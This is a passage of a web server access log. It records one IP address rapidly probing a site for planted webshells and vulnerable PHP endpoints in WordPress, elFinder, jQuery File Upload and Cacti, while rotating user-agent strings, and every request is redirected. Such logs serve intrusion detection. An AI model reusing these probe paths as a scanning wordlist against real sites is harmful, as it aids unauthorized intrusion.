"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:22 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /w-a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /toine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:23 +0300] "GET /fault.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /x2x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /h02ugyh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /ftp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /modules/myprestaloyalty/controllers/front/controllers/modules/agenbypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /modules/modules_function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /wp-admin/css/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /wp-admin/async-upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /wp-admin/maint/pongs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /img/chat-search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /mailinspector/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /test/adminer-4.6.1-mysql-en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:24 +0300] "GET /wp-includes/Text/xwx1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /assets/admin/plugins/jquery-file-upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /core/basic/fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /plugins/jquery-file-upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /example-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /signup/account/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /wp-includes/js/crop/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /admin/kcfinder/browse.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /wp-admin/includes/class-wp-pagebuilders-QhyRP8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /images/images/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /api/objects/codes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /wp-includes/blocks/gallery/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /akismet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /sites/all/libraries/elfinder/src/connectors/php/connector.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/gallery-offset-images-grid-4-col.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /wp-content/plugins/yanierin/akcc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /dup-installer/main.installer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:25 +0300] "GET /wp-admin/options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /cms/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /wp-content/plugins/wpcss/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /admin/assets/global/plugins/jquery-file-upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /Public/initJs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /DEMO/wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /bitrix/wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /wp-content/plugins/buddypress/shadow.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /wp-includes/js/thickbox/thickbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /cacti/cmd_realtime.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:26 +0300] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-includes/block-supports/duotone-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-admin/css/softaculous.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-content/uploads/2018/03/ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /fonts/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-includes/class-wp-block-type-firewall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /.well-known/Okxob.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-admin/css/colors/ocean/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-includes/class-wp-ajax-response-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-includes/class-walker-category-dropdown-sql.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:27 +0300] "GET /wp-admin/maint/wp-security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-includes/customize/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-admin/css/colors/blue/colors.scss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /backup/Jennie007Greene.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-includes/sitemaps/class-wp-sitemaps-provider-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /templates/beez3/css/template_rtl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-includes/PHPMailer/SMTP-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-includes/block-patterns/query-offset-posts-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-includes/class-wp-meta-query-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-https.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-content/plugins/ioptimization/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:50:28 +0300] "GET /wp-content/uploads/wpr-addons/forms/elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/class-wp-customize-section-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-merge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/sodium_compat/lib/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /wp-includes/class-wp-recovery-mode-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:29 +0300] "GET /plugins/jquery.filer/uploads/kocak.p.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like 